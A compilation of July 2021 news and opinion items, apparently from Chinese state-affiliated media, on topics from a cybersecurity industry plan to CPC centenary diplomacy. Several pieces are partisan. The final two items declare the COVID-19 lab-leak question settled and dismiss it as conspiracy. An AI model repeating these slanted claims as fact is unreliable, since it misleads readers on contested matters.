China plans to step up the development of data security products and services, as part of a broader push to cultivate its cybersecurity industry into a 250 billion yuan ($38.6 billion) sector by 2023.

The Ministry of Industry and Information Technology, the industry regulator, said in a draft three-year plan released on Monday that more efforts are needed to enhance capabilities in data management, with a focus on ensuring security in the storage, transfer and privacy of data. The move came as data security becomes a prerequisite for digital economic prowess and countries worldwide ramp up regulatory measures to better govern and protect data assets, experts said.

The draft plan called for more efforts to build capabilities in intelligently managing data, optimizing data classification and strengthening data protection, on top of preventing data theft, tampering and leaking.

The nation also aims to achieve breakthroughs in a number of crucial cybersecurity technologies by 2023, with accelerated integration of emerging technologies and cybersecurity services, the draft plan said.

Last year, the market size of China's cybersecurity industry exceeded 170 billion yuan, twice the size of 2015, according to figures from the China Academy of Information and Communications Technology, a Beijing-based think tank.

As of 2020, China had more than 3,000 enterprises engaged in cybersecurity-related business, covering network security equipment, services, software and system integration, the academy said.

Du Guangda, deputy director of the cybersecurity administration of the Ministry of Industry and Information Technology, said that "Data has become a new type of production factor, having an important impact on economic development, social governance and people's daily lives and work."

Wu Hequan, an academician at the Chinese Academy of Engineering, said data security is of increasing importance, with the accelerated digital transformation of China.

Data security is not just about technology companies. It is also becoming increasingly relevant to companies in traditional sectors, as the real economy becomes intertwined with the digital economy, and as more industrial, manufacturing and medical data go online, Wu said.

Such risks were reflected in a ransomware attack that affected up to 1,500 businesses globally this month, Reuters reported.

Amid rising risks, countries worldwide are placing increased importance on data security and play their part in regulating companies. Television broadcaster CNBC reported that United States President Joe Biden signed an executive order last month to protect personal data from foreign adversaries. The order sets criteria for the US government to evaluate the risk of apps linked to such adversaries, including the threat to national security.

On Monday, shares of Chinese cybersecurity companies surged on the heels of the draft plan. Qi-Anxin Technology Group shares skyrocketed by 20 percent on the Science and Technology Innovation Board of the Shanghai Stock Exchange.

Qi Xiangdong, chairman of Qi-Anxin, said: "New cybersecurity challenges have popped up with the development of new technologies such as the internet of things. Governments and enterprises need to ramp up efforts to establish a complete network security system to combat the rising cyberattacks."
A woman shows banknotes and coins included in the 2019 edition of the fifth series of the renminbi. [Photo/Xinhua]

Premier Li Keqiang has ruled out the option of adopting a deluge of strong stimulus policies to sustain economic growth, saying that the recent move to cut the reserve requirement ratio of eligible financial institutions must prioritize support to smaller enterprises and labor-intensive sectors.

While chairing a symposium with economists and business leaders in Beijing on Monday, Li reiterated the need to maintain the consistency and stability of macro policies, enhance macro regulation to ensure that the economy operates within a reasonable range and adhere to an employment-first policy.

Proactive fiscal policy and prudent monetary policy must continue to focus on supporting the real economy and job creation, he said.

The premier's remarks came after the People's Bank of China, the central bank, announced last week that it will reduce the reserve requirement ratio, the amount of cash financial institutions are required to keep in reserve, by 50 basis points and release about 1 trillion yuan ($155 billion) of liquidity effective on Thursday.

Li explained that the RRR cut must be structural in nature and help solve funding difficulties.

Some economists have also maintained that the cut does not signal a shift in policy stance.

Louis Kuijs, head of Asia economics at Oxford Economics, a British think tank, said in a research note that an overall shift in policy stance is not warranted, as he expects the outlook for China's economic growth to pick up in the second half.

At the symposium, Li had exchanges with Ma Guangyuan and Ma Junboth economistsand executives from Wuhan I'd Group, a garment producer, and Zongteng Group, an overseas warehousing and logistics provider.

Even though China's economy has been further consolidated by a steady performance and the continued harnessing of growth momentum this year, the spike in prices of bulk commodities has further raised costs for businesses, and small and medium-sized enterprises are faced with difficulties in operations, he said.

He underlined the need to step up cross-cyclical regulation to properly handle possible cyclical risks, advance reform and opening-up, and cement the momentum of stable, positive growth.

It is important to coordinate economic performance in the second half of this year with that of next year to maintain major indicators within a proper range, Li said. Local government special purpose bonds, which totaled 3.65 trillion yuan this year, must be put to good use to move forward with the construction of major projects as well as projects for public well-being, he added.

Multipronged measures must be adopted to alleviate the pressure that arises from increasing bulk commodity prices, and the role of smaller companies and self-employed individuals must be amplified to create more jobs for college graduates and migrant workers, he said.

Li pledged to enhance fair oversight and oppose monopolies and unfair competition, saying that the nation will offer smaller enterprises more options and room for development in fair competition.
Twelve Chinese companies have been included among the top 100 car parts suppliers globally in 2020, with the whole auto market demonstrating strong resilience amid the COVID-19 pandemic, an industrial report said on Monday.



In cooperation with strategy consultancies Roland Berger and Berylls Strategy Advisors, China Automotive Daily analyzed the business revenue of nearly 500 car parts companies last year. China's Weichai Group took fourth spot in the global ranking, following German auto supplier Bosch, Denso Corp in Japan and another German industrial giant, Continental AG.

Weichai, the Shandong-headquartered manufacturer, generated revenue of 249.33 billion yuan ($38.50 billion) and crowned the domestic top 100 list. Hasco Automotive, BHAP, Joyson Electronics and CATL ranked second to fifth, respectively.

A total of 34 Chinese companies saw their revenue exceed 10 billion yuan last year, increasing from 31 in 2019, the report highlighted.

As the virus outbreak seriously struck car production and sales, cumulative revenue by the top 100 auto suppliers globally dropped over 10% year-on-year, while that in China witnessed a 4% growth against the world's economic downturn, from 1.29 trillion yuan in 2019 to 1.35 trillion yuan in 2020.

In the challenging world last year, Chinese suppliers demonstrated remarkable resilience and sustainability in industrial development, said Thomas Fang, senior partner of Roland Berger.

Chinese auto parts manufacturers also ramped up investment in research and development, and the proportion of which in total revenue rose from 3.9% to 4.1%, hitting over 40 billion yuan in 2020.

"We found that R&D investment in the new energy vehicle sector accounted for the biggest proportion of companies' revenue, especially in the next-generation technologies, such as smart connection, intelligent cockpit and drive system," Fang said.

Jan Dannenberg, co-founder and partner of Berylls Strategy Advisors, said overall sales of the top 100 global automotive suppliers went substantially back in 2020, and profitability shrank by more than 50% compared to a year before.

However, he noted that only eight of the 100 suppliers registered actual growth last year, and the majority of those came from China.

"When we first did the survey in 2012, there was only one company, Weichai Power that came from China, but nowadays, about 10% of the top 100 are Chinese suppliers, and we expect this number will grow in the coming year," Dannenberg said.

Massive market with challenges

With huge auto market scale and continuously growing consumer groups, China remains attractive for global and domestic car parts manufacturers.

Xin Ning, president of China Automotive Daily, said the heartland of the world's automobile industry has accelerated transfer to China, offering companies massive strategic opportunities.

In the first half of this year, car production and sales reached 12.57 million and 12.9 million units, up 24.2% and 25.6% year-on-year, respectively, data from the China Association of Automobile Manufactures showed.

A total of 17 million units of cars are expected to be sold this year, with 2.4 million new energy vehicles, said Chen Shihua, the association's deputy secretary-general.

Chen, however, emphasized the current risks that Chinese auto suppliers face  chip shortage and the price premium of raw materials, such as steel, nonferrous metals and precious metals.

Software defines the car

As new energy, artificial intelligence and internet ecology reconstruct the auto sector, suppliers are in fierce competition to scramble for a piece of the booming market.

"We have entered an era when 'software defines the car and those who master core technologies, for example, chips, are in the top class," said Wu Lijun, the product CEO of Chang'an Automobile Group.

Zhu Guangwei, vice-president of Bosch China, also emphasized putting simultaneous focus on both software and hardware in the digital transformation of auto suppliers.

"China is Bosch's largest single market in the world, and the country has been ahead of the globe in smart vehicle sectors. Bosch set up a new division in charge of intelligent drive and control last year, and an innovative software development center, to better get involved in the future trend," Zhu said.
You are here: Business

Foreign direct investment (FDI) into the Chinese mainland, in actual use, surged 28.7% year on year to 607.84 billion yuan, or $90.96 billion, in the first half of this year, the Ministry of Commerce said Wednesday.



The value increased 27.1% from the same period in 2019.

Foreign investment in the service industry came in at 482.77 billion yuan during the period, up 33.4% year on year.
Chinese President Xi Jinping on Tuesday met with representatives of all who had participated in the preparations for the centenary celebrations of the Communist Party of China (CPC).



Xi, also general secretary of the CPC Central Committee and chairman of the Central Military Commission, expressed appreciation for their work and achievements, encouraging them to work hard to make new contributions.

Members of the Standing Committee of the Political Bureau of the CPC Central Committee -- Li Keqiang, Wang Yang, Wang Huning, Zhao Leji, and Han Zheng -- attended the meeting.

At a meeting of the Standing Committee of the Political Bureau of the CPC Central Committee held earlier, Xi made a speech after hearing a report on the celebrations.

Xi noted that the celebrations of the CPC centenary, a major event in the political life of the Party and the state, have reached the expected results under the CPC Central Committee's strong leadership and through joint efforts of all participants.

The celebrations turned out to be a grand ceremony of the Party and a festival for the people, he said.

The passion and positive energy aroused by the celebrations can channel into the dynamic for fully building a modern socialist country and realizing national rejuvenation, Xi said.

He called for efforts to make the Party stronger, ensure its core leadership over socialism with Chinese characteristics, and better present the CPC to the world so as to enhance the international influence of the Party and the country.

Xi stressed strengthening and expanding what has been achieved in the celebrations to ensure a good start for implementing the 14th Five-Year Plan (2021-2025) and embarking on a journey toward the second centenary goal: building China into a great modern socialist country in all respects.

Speaking at Tuesday's meeting, Wang Huning called for studying and implementing Xi's speech and requirements, while consolidating and expanding the achievements of the celebrations.

He called on all Party members, officials, and the public to channel their passion into actions in their work.
The prevalence of myopia or nearsightedness among Chinese preschoolers and young students was 52.7 percent in 2020, a health official said at a press conference Tuesday.

It is a rise of 2.5 percentage points from 2019 but still 0.9 percentage points lower than 2018, said Zenawdu Hasayn, an official with the disease control department of the National Health Commission (NHC), quoting a recent national survey.

The rise in myopia rates may be attributed to reduced outdoor activities due to the COVID-19 epidemic last year, the official said.

China conducted a nationwide survey from September to December 2020, covering more than 2.47 million students from 8,604 schools countrywide.

The prevalence of the condition among primary school students rose relatively faster, said Zenawdu Hasayn, who warned of myopia among young kids as a significant problem.

Myopia rates in primary school increased from 12.9 percent in the first grade to 59.6 percent in the sixth grade, said Zenawdu Hasayn. "On average, the myopia rate increased by 9.3 percentage points for each higher grade."

Thus, Zenawdu Hasayn called for strengthened efforts to prevent myopia among students in kindergartens and primary schools.

The official also told the public to remain alert for high myopia levels, noting that 17.6 percent of high school students had high myopia.

However, progression into high myopia has slowed down. The prevalence of high myopia among junior middle school students and high school students logged a decrease of 0.5 percentage points in 2020 from that in 2018, said Zenawdu Hasayn.

Shen Haiping, another NHC official, said the government attaches great importance to youngsters' eye health. The country has included eye care and vision tests for children aged six and below in national public health services, with a coverage rate of 91.8 percent in 2020.

Students and children are also advised to reduce close-range work, increase outdoor activity hours, and have their eyes examined during the upcoming summer vacation.
Chinese students who have been denied visas to pursue advanced science degrees at universities in the United States are preparing to file a lawsuit against the U.S. government.

The students have set up a website and plan to raise $750,000 to $1 million before filing the lawsuit, one of the initiators, who requested anonymity, told China Daily.

"We have talked with several U.S. lawyers and had two meetings with renowned American civil rights and immigration lawyer Ira Kurzban," the initiator said. "We are prepared to fight for the long haul."

According to the initiator, the students are mainly from eight leading science universities in China, which the U.S. has claimed have links to the Chinese military. They include Harbin Engineering University, Harbin Institute of Technology, Beihang University and Beijing Institute of Technology.

In May last year, former U.S. president Donald Trump issued Presidential Proclamation 10043, which bans Chinese postgraduate students and researchers from studying or working in the U.S. if Washington deems they have had affiliation with China's "military-civil fusion strategy".

"Today, the restrictions are imposed on students from eight schools. Who can guarantee that the ban will not be extended?" a poster made by the students said. "The ban affects students majoring in science, technology, engineering and mathematics. Who can guarantee that it won't apply to all Chinese students who want to study abroad some day? Today's silence is the beginning of allowing unwarranted discrimination."

Around 2,000 Chinese students said they have faced visa restrictions, according to the initiator. Some are majors in literature and others are graduate students and visiting scholars sponsored by the China Scholarship Council, the initiator said. "Going abroad to study is not an easy decisionit requires years of preparation and financial investment. Many of us are saddened, angry and even depressed by the news," the initiator said.

An open letter written by more than 500 Chinese students who have complained about their U.S. visa applications being rejected has received a strong response from the public on Chinese social media platforms.

Foreign Ministry spokesman Zhao Lijian said at a recent news conference that the visa restrictions are a continuation of a "poisonous legacy" from the Trump administration.

At a separate news conference, Wang Wenbin, another ministry spokesman, quoted analysis by a Georgetown University think tank that showed Chinese STEM students were disproportionately affected by the proclamation. The analysis showed that so far, 3,000 to 5,000 Chinese students may have been affected by the proclamation, representing between 16 percent and 27 percent of the 19,000 Chinese graduate students who enroll in STEM disciplines in the U.S. each year.

One student, who is a physics doctoral candidate at a U.S. university and graduated from one of the eight Chinese universities, said getting a valid visa has distracted her from her studies.

"Endless worries about getting a valid visa haunted me when I was heavily burdened by academic tasks," wrote the student on the fundraising website. "I also suffered many nights of constant anger, sadness and anxiety."

China is the largest source of international students in the U.S. There were more than 372,000 Chinese students in the U.S. during the 2019-20 academic year, accounting for one-third of the 1 million-plus international students in the country, according to the Open Doors report, an annual survey produced by the Institute of International Education of foreign students and scholars in the U.S.

The Ministry of Education warned Chinese nationals in 2019 about the risks of pursuing studies in the U.S. due to visa restrictions.

According to a report by Vision Overseas Consulting in May, the United Kingdom remained the most popular destination for Chinese students pursuing overseas study for a second consecutive year, with the U.S. again in second place.

The UK was chosen by 44 percent of respondents while the U.S. was preferred by 32 percent, according to the report.
The University of Hong Kong announced on Tuesday it was cutting ties with its student union after a strong backlash against the union members' glorification of an attempt to kill a police officer on July 1.

The university made the move just hours after Hong Kong Chief Executive Carrie Lam Cheng Yuet-ngor said university authorities should take further action against such behavior. The council of the university's student union had been criticized after it openly paid tribute to an assailant who stabbed a police officer on a busy street before killing himself.

Lam said she was outraged by student resolutions that "almost salute the coldblooded criminal suspect" and felt ashamed for the university, which she serves as chancellor.

The student union council withdrew the motion on Friday, two days after passing it by 30 votes to 0 to "appreciate the sacrifice" of the assailant and express its condolences over his "unfortunate passing".

At a media briefing on Tuesday, Lam said she would support follow-up investigations by the city's police force if it decides there is a case to look into.

The University of Hong Kong then issued a statement saying it would "solemnly conduct an investigation" into the incident, and vowed to "take action against the students concerned" based on the investigation outcomes.

It did not reveal the detailed procedure or the potential penalties. The chairman of the university council, Arthur Li Kwok-cheung, said earlier that expulsion of those who approved the motion was a possible outcome.

The university said it would no longer recognize the current role of the student union on campus. The student union had been an independent registered association since 1949 and maintained an important place in the university's student affairs, including running campus media and leading 130 affiliated student organizations.

A dedicated team will be set up to fill in for the student union to coordinate and handle students' activities, the university said.

In April, the university distanced itself from the student union by withdrawing services and facilities after criticizing the body for "utilizing the university campus as a platform for its political propaganda "and bringing the university "legal risks".

The university also urged its students to uphold rationality and proper values, focus on their studies and make contributions to society.

Meanwhile, a 15-year-old boy will face a charge of conspiracy to commit terrorism under the National Security Law for Hong Kong on Wednesday. He will become the fourth secondary school student to appear in court in the case. A total of nine students and five adults have been arrested since July 5 over their alleged involvement in a foiled terror plot to blow up local courts and transportation networks.

Lam said on Monday that it is worrying to see young students being used to commit crimes.

She called on the city's adults to guide young people to have a stronger sense of national identity and nurture positive values.

In an effort to strengthen youngsters' national identity and national security awareness, the city's education bureau provided all kindergartens with textbooks on the national security law, which were compiled by legal and educational experts on the Chinese mainland. Primary and secondary schools had received copies earlier.

In a letter to the kindergartens on Monday, the bureau stressed the schools should help the toddlers understand that Hong Kong is part of the country and their identity is Chinese.

This month also saw a number of mainland-produced TV dramas and movies aired in Hong Kong in celebration of the centenary of the Communist Party of China. David Chiu Tat-cheong, the owner of Cable TV, which has broadcast the hit series Age of Awakening since Monday, said he hoped Hong Kong audiences, especially young people, will learn from the patriotic youth in history and strive to contribute to a better city and the country.
"I love the metropolitan modernity of Shanghai and miss the barbecue on the mainland," said Alfie Yang, a young woman from Taiwan.

Yang travelled to the Chinese mainland in 2005 to study a bachelor's degree in business administration at Shanghai Jiao Tong University (SJTU). After graduation, she landed a job in the Shanghai offices of Giant, one of the world's largest bike manufacturers headquartered in Taiwan.

Life in Shanghai

Yang relished the experience of living in Shanghai by visiting its many areas. Taking a stroll along the Bund, exploring one of China's busiest shopping streets Nanjing Road, and sampling its mix of modernity and history at the Xintiandi commercial district, all enabled her to learn more about the city. "I lived in the Xuhui district for most of my time in Shanghai. I'm as familiar with that area as I am with Taiwan, if not more.

"Language caused some confusion at the beginning due to the different uses of some specific words and phrases between the two sides of the Strait. For example, the Chinese word 'kaishui' means boiled water on the mainland but room temperature water in Taiwan," Yang recalled. "However, it didn't take long to get used to such differences."

Yang would often miss her family back in Taiwan when she studied in SJTU, since there were no smartphones allowing convenient contact and she could only fly back to see them during the summer and winter holidays. Nonetheless, with the advancement of social media and weeklong trips back to Taiwan every three months after she started working, Yang basically felt no sense of distance with her family and friends.

New friends also made Yang's life more comfortable and relaxed. Yang struck up friendships with a host of people both from Shanghai and other parts of the mainland. "We used to hang out, eat and have a few drinks in our free time. We also traveled around together, as I like to see and savor the hometowns of my friends after they introduced them to me."

Diversity on the mainland

In addition to Shanghai, Yang visited such cities as Beijing, Qingdao in Shandong province and Xiamen in Fujian province, as well as Hong Kong and Macao. She left Shanghai in 2016 when her company posted her to Tianjin and then two years later moved to Dongguan in the southern Guangdong province. She has been working in Taiwan since last year due to the pandemic.

Despite the agreeable life and work in Taiwan where Yang can be closer to her family, working on the mainland is also enjoyable for her since she can enjoy a wide range of different cities.

For Yang, life on the mainland was more convenient in terms of mobile payment, online shopping and traveling by subway. "I'm still trying to do without the mobile payments back in Taiwan," she said. Given the recent COVID-19 outbreak in Taiwan, she is currently working from home, which has caused some disruption to her work and daily life.

"If there's an opportunity to go back and work on the mainland after the pandemic, I'd love to go," Yang said. "Since I enjoy living and working there."
In a virtual meeting held earlier last week, the leaders of China, Germany and France agreed to sustain multilateral cooperation across a whole range of areas including COVID-19 assistance, trade, cultural and digital matters and climate change. They also pledged to advance several agreements, including the EU-China Agreement on Protecting Geographical Indications, as well as the Comprehensive Agreement on Investment (CAI) which would expand mutual and reciprocal market access.



The summit comes amid speculations of a decline in the EU-China relationship with third parties such as the United States attempting to drive a wedge between them and create "bloc politics" to target Beijing. However, both parties have ultimately sought to maintain a position of engagement, stability and cooperation with the other, as opposed to waging a "Cold War mentality." As a result, despite challenges, it is a diplomatic relationship that ultimately remains productive, bound by mutual interests and capable of further development.

On the final day of 2020, China and the EU reached "an agreement in principle" on the Comprehensive Agreement on Investment. Despite the challenges created by the U.S., the EU-China relationship remains ultimately premised on the need for diplomacy, engagement and constructive agreements.

The European Union may have a great deal of cultural, value and ideological overlap with the United States, but the institutional behavior of EU politics is orientated towards stable multilateralism as opposed to a zero-sum pursuit of hegemony. Despite a number of differences, the EU sees its relationship with China as wide and important.

There can be no "decoupling" in EU-China relations despite the rhetoric coming from Washington. China remains an essential partner of the EU in the economy, trade and investment. China is the largest trading partner of the EU, a development that has been accelerated by the success of the Belt and Road Initiative and cross-continental freight trains.

According to a report by Bloomberg in June, European companies see investing in China as a priority amidst the impact of the pandemic, with nearly 60% of European companies planning to expand their China operations in 2021, up from 51% last year, according to an annual survey by the European Chamber of Commerce. The study further notes that "the resilience of China's market provided much-needed shelter for European companies amidst the storm of the COVID-19 pandemic."

Despite differences, which may continue to be present, the key point is both parties are willing to make adjustments and pursue diplomacy in search of the greater good, which means the EU-China relationship will continue to be defined by diplomacy as opposed to confrontation and a Cold War mentality.

Tom Fowdy is a British political and international relations analyst and a graduate of Durham and Oxford universities. He writes on topics pertaining to China, the DPRK, Britain and the U.S. For more information please visit:

http://www.china.org.cn/opinion/TomFowdy.htm

Opinion articles reflect the views of their authors, not necessarily those of China.org.cn.

If you would like to contribute, please contact us at opinion@china.org.cn.
The year 2021 celebrates the 100th anniversary of the founding of the Communist Party of China (CPC) and thus is an apt occasion to remember its innumerable services and countless sacrifices for the prosperity and progress of China and its people.

The CPC, established in July 1921, is the world's largest political party. It is credited with the founding of the People's Republic of China in 1949, thus signaling the advent of a new age in Chinese history. In the last 70-plus years, the CPC and its leadership have surmounted intractable domestic and international challenges with indefatigable energy, wisdom and foresight. In the face of any crisis, the Party has refreshed its spirit, redefined its role and emerged stronger.

Under the CPC's leadership, China has achieved major accomplishments across all walks of human efforts unprecedented in the annals of world history. In just four decades, since the beginning of reform and opening up in 1978, it has made massive headway in socioeconomic development, industrialization, science and technology with notable achievements in 5G, big data, quantum computing and artificial intelligence. Today, China is leading global efforts for the mitigation of climate change and exploring new frontiers in aviation, space and medical sciences. The attainment of the first centenary goal of becoming a moderately prosperous society in all respects has taken it one step closer to materializing the dream of the Chinese nation's great rejuvenation.

Of all such achievements, the CPC's most enduring service to humanity has been the lifting of 800 million citizens out of absolute poverty. Its successful strategy of inclusive and sustainable growth, through which all sections of society, freed from the fear of gloomy poverty, can contribute to national development efforts, has proven that poverty is not ordained in humanity's destiny and that it can be eliminated through concerted and sustained efforts.

The CPC also deserves credit for the deepening of the Pakistan-China friendship, the envy of many, and a token of pride for the peoples of our two countries.

It is encouraging to see that the friendship has grown even stronger under the present leadership of our two countries. Pakistani Prime Minister Imran Khan is keen to further develop that bond and has visited China thrice since assuming office in 2018. His reform agenda resonates closely with Chinese President Xi Jinping's vision of socioeconomic development, anti-corruption, poverty alleviation, tourism promotion, clean and green development and jobs and livelihood creation.

President Xi, in turn, is keen to intensify strategic ties with Pakistan. During his 2015 visit to the country, the bilateral ties were upgraded to an all-weather strategic cooperative partnership.

During this particular visit, Pakistan and China launched various new projects of the China-Pakistan Economic Corridor (CPEC), one of the biggest projects under the Belt and Road Initiative. Of these undertakings, many have already been completed while others are at different stages of finalization.

Pakistan is completely committed to the CPEC and the Belt and Road Initiative and is ready to take this initiative to new heights as aspired to by both nations' peoples. We are proud of the special attention President Xi and the CPC pay to the solidification of the Pakistan-China rapport and look forward to further consolidating our iron-clad brotherhood.

This year also marks the 70th anniversary of the establishment of diplomatic relations between Pakistan and China. It is a special occasion to rejoice in our past achievements, renew our firm determination to continue this journey of friendship and elevate it to a new pedestal of bilateral cooperation.

The Pakistan-China relationship has negated the notion that bilateral ties are merely the result of convergence of political interests. On the contrary, we have demonstrated that the underlying forces driving strong international cooperation are those of mutual respect and understanding, the common experiences of the past, the adherence to international norms and values, and the sincere desire to work together for a transparent and just international system catering to the legitimate interests of all nations without any discrimination.

The author is the Pakistani ambassador to China.








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China will continue to strengthen vaccine, medical cooperation with Barbados and help the country win the battle against the COVID-19 pandemic at an early date, Chinese President Xi Jinping said Tuesday.

"At present, the COVID-19 pandemic is still spreading across the world. We feel a duty bound to extend a helping hand whenever our friends need one," Xi said in a phone conversation with Barbadian Prime Minister Mia Mottley.

Xi said that Barbados is China's good friend and partner in the eastern Caribbean, adding that since the two countries established diplomatic ties 44 years ago, the two sides have seen sustained high-level exchanges and fruitful cooperation.

He also said that since the outbreak of COVID-19, China and Barbados have pulled together and jointly overcome the difficulties of the moment.

Noting that both countries adhere to putting the people first, Xi said China stands ready to strengthen exchanges of experience in national governance with Barbados, expand practical cooperation in infrastructure and other fields, and keep promoting China-Barbados relations to new levels.

China is willing to continue providing help for Barbados in economic and social development to the best of its ability, Xi said, adding that the two sides should reinforce coordination and cooperation in international affairs and safeguard the common interests of developing countries.

The Belt and Road Initiative has created more opportunities for common development, Xi noted, saying that China is ready to work with Barbados and other Caribbean countries to promote the joint construction of the Belt and Road.

Xi also said that he hopes that Barbados can make positive contributions to advancing cooperation on the China-Caribbean community with a shared future and to boosting China-Latin America relations.

For her part, Mottley extended her sincere congratulation on the 100th anniversary of the founding of the Communist Party of China (CPC).

Under Xi's far-sighted and strong leadership, China has successfully realized its first centenary goal and eliminated absolute poverty, she said.

She also expressed her belief and wish that under the leadership of the CPC, China will definitely make greater achievements on its new journey to achieve the second centenary goal.

Barbados is glad to have such a friend as China, Mottley said, adding that her country is ready to work with China to strengthen bilateral practical cooperation and multilateral communication and coordination, jointly build the Belt and Road, and promote Barbados-China ties as well as Latin America-China ties for greater development.

Mottley thanked China for offering precious help to Barbados in fighting against the pandemic, saying that her country opposes politicizing the origin tracing of the virus, appreciates China for its positive contributions to promoting the fair distribution of vaccines among developing countries, and hopes to strengthen vaccine cooperation with China.
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The Chinese side stands ready to conduct in-depth vaccine cooperation with Turkey and help it defeat the COVID-19 pandemic at an early date, Chinese President Xi Jinping said Tuesday in a phone conversation with his Turkish counterpart, Recep Tayyip Erdogan.

Xi pointed out that since last year, the practical cooperation between China and Turkey has yielded encouraging results, showing strong resilience and great potential.

The close cooperation between the two sides in fighting the COVID-19 pandemic has become a new highlight in bilateral relations, Xi said.

Noting that China and Turkey are about to mark the 50th anniversary of the establishment of their diplomatic relations, Xi said the Chinese side is willing to work with Turkey to promote greater development of China-Turkey strategic cooperative relations.

Xi emphasized that both sides should respect each other's core concerns and enhance strategic mutual trust.

China supports Turkey in safeguarding national sovereignty, independence and territorial integrity, and in taking a development path in line with its own national conditions, Xi said, adding that China is also willing to strengthen cooperation with Turkey in anti-terrorism, security and other fields.

Xi called on the two sides to promote synergy between joint construction of the Belt and Road Initiative and the Middle Corridor project of Turkey, explore new ideas and measures to optimize bilateral trade structure, and improve economy and trade cooperation so as to push for more fruitful results in their practical cooperation.

Both sides should jointly oppose labelling the virus and politicizing origin tracing, and promote the building of a global community of health for all, Xi added.

For his part, Erdogan once again congratulated the Communist Party of China on its centennial.

He said that this year also marks the 50th anniversary of the establishment of diplomatic relations between Turkey and China, which is of special significance for both countries.

Turkey attaches importance to developing relations with China, and is willing to have close contacts with China and look to the future, jointly build the Belt and Road, and expand practical cooperation in such fields as economy, trade and infrastructure, Erdogan said, adding that Turkey welcomes investment cooperation with Chinese enterprises.

Expressing appreciation for China's invaluable support in fighting the COVID-19 epidemic, Erdogan said the safety and effectiveness of Chinese vaccines have won recognition and trust worldwide, and Turkey hopes to strengthen vaccine cooperation with China.

Turkey has and will continue to adhere to the one-China policy firmly, he said.

Turkey also supports China in safeguarding its independence, sovereignty and territorial integrity, and in combating terrorism, he said, adding that his country does not allow anyone to use Turkish territory to engage in separatist activities that endanger China's sovereignty.
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Chinese President Xi Jinping said Tuesday that China is ready to continue strengthening cooperation with Ukraine on vaccine and traditional Chinese medicine, and help the country beat the COVID-19 pandemic.

Xi made the remarks in a telephone conversation with Ukrainian President Volodymyr Zelensky.

Ever since China and Ukraine established their strategic partnership 10 years ago, bilateral ties have maintained a healthy and stable momentum in development, and their cooperation in various areas has achieved positive results, bringing tangible benefits to the people of the two countries, Xi said.

He also said that the two countries have since last year joined hands in fighting against the COVID-19 pandemic, and carried out cooperation on vaccine and other areas, deepening the friendship between the two peoples.

The Chinese side is ready to work together with Ukraine to carry forward the traditional friendship, deepen mutual understanding, strengthen practical cooperation, and take the 30th anniversary of the establishment of bilateral ties next year as an opportunity to actively push forward China-Ukraine relations, and help the two countries better achieve their respective development goals, Xi added.

Noting the recurring waves of the outbreak, Xi said the only way for the international community to perform well in humanity's arduous fight against the virus is through solidarity and cooperation.

Xi added that the two sides should take high-quality joint construction of the Belt and Road as an opportunity to push forward cooperation on such projects as infrastructure and China-Europe freight train service, advance cooperation on agricultural products, and expand people-to-people exchanges and cooperation.

For his part, Zelensky noted that the Chinese side just celebrated the 100th anniversary of the founding of the Communist Party of China (CPC), saying that the Ukrainian side extended its congratulations, and wishes greater achievements by the Chinese people under the CPC's leadership.

In the face of the strike by the COVID-19 pandemic, the Chinese side has offered timely and precious assistance to Ukraine, which has played an important role in helping Ukraine fight against the disease, he said, adding that he hopes the two sides can strengthen cooperation on vaccines, medicine and other areas.

Noting that the Ukrainian side attaches great importance and is dedicated to developing a closer Ukraine-China strategic partnership, Zelensky said Ukraine firmly adheres to the one-China policy, and is ready to take the 10th anniversary of the bilateral strategic partnership as well as the 30th anniversary of the establishment of bilateral ties as an opportunity to promote exchanges and cooperation with China in various areas.
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Emerging scientific consensus that the COVID-19 pandemic evolved naturally, as opposed to human misadventure, has put to rest false narratives about the virus' origin publicized by some Western countries, a scholar has said.

Stephen Ndegwa, a scholar at the Nairobi-based United States International University-Africa, said in a commentary published by the Star newspaper on Monday that linking the origin of the virus to a laboratory leakage in the central Chinese city of Wuhan is not tenable as a growing body of scientific evidence points to natural sources.

He cited an independent analysis from a group of experts overseen by the World Health Organization and the peer reviewed studies published by the Lancet, a leading medical journal, which have debunked the myth that the coronavirus originated from a laboratory.

He lauded an international group of scientists, who in a letter published by the Lancet on July 5 dismissed the laboratory leakage theory advocated by some Western powers.

He said the same group of international scientists in February 2020 had condemned conspiracy theories pertaining to the virus' origin, while pledging solidarity with China to boost its containment of the pandemic.

Ndegwa expressed faith in emerging scientific evidence that the virus evolved naturally, adding that linking it to a laboratory leakage only serves a diabolical agenda and is not sustainable.

He said that the bulk of energy and resources should be channelled towards efforts to suppress the virus, as opposed to obsession with its origins.

Ndegwa also urged some nations to focus more on containing the virus and not on blaming China to cover up their own incompetence during the early stages of the pandemic.

He added that China has been on the frontlines of global efforts to contain the pandemic through knowledge sharing and donations of vaccines and other medical supplies.
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As the global vaccination rollout brings light to countries wrapped in a COVID-19 darkness, an emerging "political virus" has cast a shadow on the origins of the disease.

As of Tuesday morning, more than 187 million people around the globe have contracted the virus, with more than 4 million lives lost.

However, some self-interested Western politicians are concocting conspiracy theories and spreading misinformation about the origins of the deadly virus, including the tired lab-leak hypothesis. Such unsubstantiated notions do nothing but distract researchers dedicated to learning how and where the contagion began.

Scientists worldwide have spoken out against practices of politicizing the origins of COVID-19.

Open question

How and when the novel coronavirus reached "patient zero" remains unanswered.

Evidence has begun to emerge that COVID-19 had been circulating around the world earlier than the pathogen was first reported in the central Chinese city of Wuhan.

In mid-June, a new antibody testing study by the U.S. National Institutes of Health, which analyzed more than 24,000 blood samples from all 50 U.S. states between Jan. 2 and March 12, 2020, found evidence of SARS-CoV-2 infections in the country earlier than initial reports, which date back to late December 2019.

In early June, the World Health Organization requested an Italian research team re-test the samples in their study. Last November, Italy's National Cancer Institute reported that it found evidence of COVID-19 antibodies in the blood of four Italian cancer test subjects in October 2019, meaning they would have been infected by the virus in September, while the first known patient in Italy was detected with infection on Feb. 21, 2020.

Dominic Dwyer, an Australian virologist with the University of Sydney, thinks that animals are the likely source of COVID-19, but it remains overhasty to reach a definitive conclusion right now, saying "the 'gotcha' evidence still eludes in what can take years."

In the view of David Fidler, a global health researcher with the Council on Foreign Relations, a Washington-based think tank, it's hard to expect COVID-19 origin investigations to reveal definitive data any time soon, according to a report published in the science journal Nature in late May.

The origins of most Ebola outbreaks remain mysterious, and researchers have spent 14 years nailing down evidence that the 2002-04 SARS epidemic was caused by a virus transmitted from bats to civets to humans, Fidler said.

Follow science

In late March, the WHO released a report on the global tracing of COVID-19 origins, following a 28-day joint study in Wuhan by 34 experts from the WHO and China.

